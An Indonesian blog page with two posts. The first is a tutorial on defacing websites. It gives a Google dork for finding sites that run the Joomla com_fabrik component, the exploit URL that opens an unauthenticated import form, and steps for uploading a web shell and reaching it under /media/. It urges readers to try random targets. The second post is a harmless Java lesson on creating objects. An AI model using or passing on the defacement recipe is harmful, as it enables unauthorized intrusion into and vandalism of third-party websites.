Cara Deface Web Dengan Exploit Com Fabrik

Cara yang satu ini cukup mudah dilakukan. Dengan menggunakan exploit com_fabrik, kita bisa mengupload shell kita untuk melakukan deface terhadap web tersebut.

Tutornya :

1. Ketik dork berikut ke google : "inurl:index.php?option=com_fabrik" *tanpa tanda kutip (")

2. Akan ada banyak web. Anda buka terserah yang mana anda mau.

3. Setelah dibuka. Masukkan exploit ini :
"index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1" *tanpa tanda kutip (")
Contoh :
www.site.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

4. Jika tidak berhasil cari target lain dan jika berhasil akan muncul form upload seperti ini :

5. Klik "Choose File" trus masukan shell kamu, dan langsung klik "Import CSV" untuk mengupload

6. Jika sudah, buka shell anda dengan format www.site.com/media/namashellkamu.html

7. Dan muncullah shell kesayangan anda. Namun jika tidak muncul, itu karena web tersebut tidak mendukung file berformat php maupun html.

Sekian ilmu yang dapat saya berikan.
Selamat mencoba :)

Continue reading →

Membuat Object Di Java

Berhubung ada tugas kuliah ya walaupun saya jarang masuk karena sebuah pekerjaan, kali ini saya akan coba menulis tentang pembuatan Object di pemograman JAVA Netbeans. :)

Pada pemograman berorientasi Object, sebuah Object dijadikan sebagai komponen utama dalam sistem. Dimana Object merupakan gabungan data dan fungsi. Sebuah Object dibuat dari sebuah kelas. Jadi jika kita ibaratkan Objeck adalah sebuah makanan, kue misalkan, maka kelas adalah cetakan kue nya, dimana kue dibuat menggunakan cetakan tersebut. Nah, sebuah cetakan kue dapat membuat beberapa kue, dimana artinya sebuah kelas dapat membuat beberapa object.

Nah, untuk membuat Object pada Java diperlukan sebuah perintah new, dimana cara pembuatanya sama seperti membuat sebuah variabel.

1 2	// Membuat object dalam kelas namaKelas namaObject = new namaKelas();

Apabila dalam kelas yang dibuat object terdapat sebuah atribut, maka dapat dipanggil menggunakan tanda "." (titik),

1 2	// Memanggil dan memberi nilai pada atribut namaObject.namaAtribut = value;

dan juga apabila terdapat sebuah fungsi, maka kita dapat memanggil fungsi tersebut juga menggunakan tanda "." (titik) dan diakhiri dengan tanda ()

1 2	// Memanggil fungsi namaObject.namaFungsi();

Sebagai contoh, sebuah kelas dengan nama “Manusia” dimana manusia memiliki atribut nama, alamat dan kontak dengan type data masing – masing. Kemudian kita buat sebuah object di kelas yang baru bernama “Orang” yang memanggil dan memberi nilai pada atribut dikelas “Manusia”.

1 2 3 4 5 6 7 8 9

public class Manusia {       String nama;       String alamat;       String kontak; }

membuat kelas “Orang” dimana berisikan object baru dari kelas “Manusia”,

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

public class Orang {       public static void main(String[] args) {             //  Membuat Objec manusia di kelas Orang             Manusia manusia = new Manusia();             // Memanggil dan memberi nilai atribut yang terdapat di kelas manusia             manusia.nama = "dika";             manusia.alamat = "Kramat Jati";             manusia.kontak="-";             // Mencetak nilai yang diberikan pada atribut             System.out.println("Nama : " + manusia.nama);             System.out.println("Alamat : " + manusia.alamat);             System.out.println("Kontak : " + manusia.kontak);       } }

Setelah di Runing hasil outputnya seperi ini :

Semoga bermanfaat :))

Continue reading →